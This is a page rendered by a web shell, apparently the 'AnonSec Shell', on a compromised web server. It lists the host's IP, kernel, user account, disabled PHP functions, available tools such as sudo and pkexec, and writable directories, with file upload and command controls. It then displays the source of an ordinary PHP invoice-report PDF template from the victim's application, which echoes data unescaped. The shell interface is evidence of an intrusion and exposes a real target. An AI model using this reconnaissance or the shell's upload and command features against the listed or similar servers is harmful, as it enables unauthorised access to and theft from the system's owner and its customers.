AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/gasch/application/lib/invoices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/gasch/application/lib/invoices/report-pdf.php
<html>
    <head>
        <style>

            * { margin: 0; padding: 0; }
            body {
                font: 9px/0.9  dejavusanscondensed;
            }

            #page-wrap { width: 1000px; margin: 0 auto; }

            table { border-collapse: collapse; }
            table td, table th { border: 0.5px solid black; padding: 5px; text-align:center;}
            table .semborda td, table .semborda th { border: 0 solid black; padding: 5px; }

            #customer { overflow: hidden; }

            #logo { text-align: right; float: right; position: relative; margin-top: 25px; border: 1px solid #fff; max-width: 540px; overflow: hidden; }

            #meta { margin-top: 1px; width: 100%; float: right; }
            #meta td { text-align: right;  }
            #meta td.meta-head { text-align: left; background: #eee; }
            #meta td textarea { width: 100%; height: 20px; text-align: right; }

            #items { clear: both; width: 100%; margin: 30px 0 0 0; border: 1px solid black; }
            #terms { text-align: left; margin: 20px 0 0 0; }
            #terms h5 { text-transform: uppercase; font: 13px <?php echo $config['pdf_font']; ?>; letter-spacing: 10px; border-bottom: 1px solid black; padding: 0 0 8px 0; margin: 0 0 8px 0; }
            #terms textarea { width: 100%; text-align: center;}

        </style>

    </head>

    <body style="font-family:dejavusanscondensed">

        <div id="page-wrap">

            <table width="100%" >
                <tr>
                    <td style="border: 0;text-align: left" width="50%">
                          <img id="image"  style="float:left" src="<?php echo APP_URL; ?>/application/storage/system/logo.png" alt="logo" />
                    </td>

                    <td style="border: 0;  text-align: right" width="50%">
                        <div id="logo" style="font-size:18px">
                            <?php echo $config['caddress']; ?>
                        </div>
                    </td>
                </tr>
                <tr>
                    <td style="border: 0;  text-align: left" width="50%">
                        Filtros:
                        <br/> Cliente: <?= $nomeContato ?>
                        <br/> Situação: <?php
                        if (isset($_SESSION['filter_report_invoice_situation'])) {
                            echo $_L[$_SESSION['filter_report_invoice_situation']];
                        }
                        ?>
                        <br/> Período: 
                        <?php
                        if ($_SESSION['filter_report_invoice_period'] == 'day')
                            echo $_L['In day'];
                        else if ($_SESSION['filter_report_invoice_period'] == 'week')
                            echo $_L['In week'];
                        else if ($_SESSION['filter_report_invoice_period'] == 'month')
                            echo $_L['In month'];
                        else {
                            if (!empty($_SESSION['filter_report_invoice_period_ini'])) {
                                $where .= " AND s.duedate >='" . date('Y-m-d', strtotime($_SESSION['filter_report_invoice_period_ini'])) . "'";
                                $filter['filter_report_invoice_period_ini'] = $_SESSION['filter_report_invoice_period_ini'];
                                echo "d/m/Y " . date('Y-m-d', strtotime($_SESSION['filter_report_invoice_period_ini']));
                            }
                            if (!empty($_SESSION['filter_report_invoice_period_end'])) {
                                echo "Data Final " . date('d/m/Y', strtotime($_SESSION['filter_report_invoice_period_end']));
                            }
                        }
                        ?>
                    </td>


                </tr>


            </table>

            <hr>
            <div style="clear:both"></div>

            <table width="100%">
                <thead>
                    <tr>
                        <th  width="5%">#</th>
                        <th><?= $_L['Customer'] ?></th>
                        <th width="10%"><?= $_L['Invoice Date'] ?></th>
                        <th width="10%"><?= $_L['Due Date'] ?></th>
                        <th width="10%"><?= $_L['Status'] ?></th>
                        <th width="10%"><?= $_L['Method Invoice'] ?></th>
                        <th width="10%"><?= $_L['Payment Condition Invoice'] ?></th>
                        <th width="10%"><?= $_L['Amount'] ?></th>
                    </tr>
                </thead>
                <tbody>

<?php foreach ($d as $ds) { ?>
                        <tr>
                            <td> <?= $ds['id'] ?>  </td>
                            <td><?= $ds['account'] ?> </td>
                            <td ><?= date($_c['df'], strtotime($ds['date'])) ?></td>
                            <td ><?= date($_c['df'], strtotime($ds['duedate'])) ?></td>
                            <td>

                                <?php if ($ds['status'] == 'Unpaid') { ?>
                                    <span class="label label-danger">  <?= ib_lan_get_line($ds['status']) ?></span>
                                <?php } else if ($ds['status'] == 'Paid') { ?>
                                    <span class="label label-success"><?= ib_lan_get_line($ds['status']) ?></span>
                                <?php } else if ($ds['status'] == 'Partially Paid') { ?>
                                    <span class="label label-info"><?= ib_lan_get_line($ds['status']) ?></span>
                                <?php } else if ($ds['status'] == 'Cancelled') { ?>
                                    <span class="label"><?= ib_lan_get_line($ds['status']) ?></span>
                                <?php } else { ?>
        <?= ib_lan_get_line($ds['status']) ?>
    <?php } ?>



                            </td>
                            <td><?= $ds['pmethod'] ?></td>
                            <td>    <?php
                                if (1 == $ds['paymentcondition']) {
                                    echo $_L['Payment Condition Invoice0'];
                                }
                                ?>
                                <?php
                                if (2 == $ds['paymentcondition']) {
                                    echo $_L['Payment Condition Invoice1'];
                                }
                                ?>
                                <?php
                                if (3 == $ds['paymentcondition']) {
                                    echo $_L['Payment Condition Invoice2'];
                                }
                                ?>
                            </td>    
                            <td class="amount" ><?= ib_money_format($ds['total'], $config, $d['currency_symbol']); ?></td>
                     
                        </tr>
                        <?php if (count($ds['itens']) > 0) { ?>
                            <tr><td colspan="8">
                                    <table class="semborda" width="100%">
                                        <thead>
                                            <tr>
                                                <th class='middle'  ><?= $_L['Item Name'] ?></th>
                                                <th width="10%" ><?= $_L['Qty'] ?></th>
                                                <th width="10%" ><?= $_L['Price'] ?></th>
                                                <th width="10%"  ><?= $_L['Total'] ?></th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                                <?php foreach ($ds['itens'] as $item) { ?>
                                                <tr>
                                                    <td class="text-semibold text-dark"><?= $item['description'] ?></td>
                                                    <td class="text-center"><?= $item['qty'] ?></td>
                                                    <td class="text-center amount"><?= ib_money_format($item['amount'], $config, $_c['currency_symbol']) ?></td>
                                                    <td class="text-center amount"><?= ib_money_format($item['total'], $config, $_c['currency_symbol']) ?></td>
                                                </tr>
                                                <?php } ?>
                                        </tbody>
                                    </table>
                                </td></tr>
                            <?php }
                        }
                        ?>
                    <tr>
                        <td colspan='8' style="text-align: right">
                            <b> Total: <?=ib_money_format($total_value_invoice, $config, $_c['currency_symbol'])?> </b>
                        </td>
                        
                    </tr>
                </tbody>
               
                
              
            </table>

<br/><br/>
<?php if (count($products)>0){ ?>
    <table class="semborda" width="100%">
        <caption>Vendas por Produtos</caption>
        <thead>
            <tr>
                <th ><?= $_L['Product'] ?></th>
                <th  ><?= $_L['Qty'] ?></th>
                <th  ><?= $_L['Total'] ?></th>
            </tr>
        </thead>
        <tbody>
                <?php foreach ($products as $p) { ?>
                <tr>
                    <td class="text-semibold text-dark"><?= $p['description'] ?></td>
                    <td width="15%"><?= $p['qty'] ?></td>
                    <td width="15%"><?= ib_money_format($p['total'], $config, $_c['currency_symbol']) ?></td>
                </tr>
                <?php } ?>
        </tbody>
    </table>
<?php } ?>
</div>

    </body>

</html>

Anon7 - 2022
AnonSec Team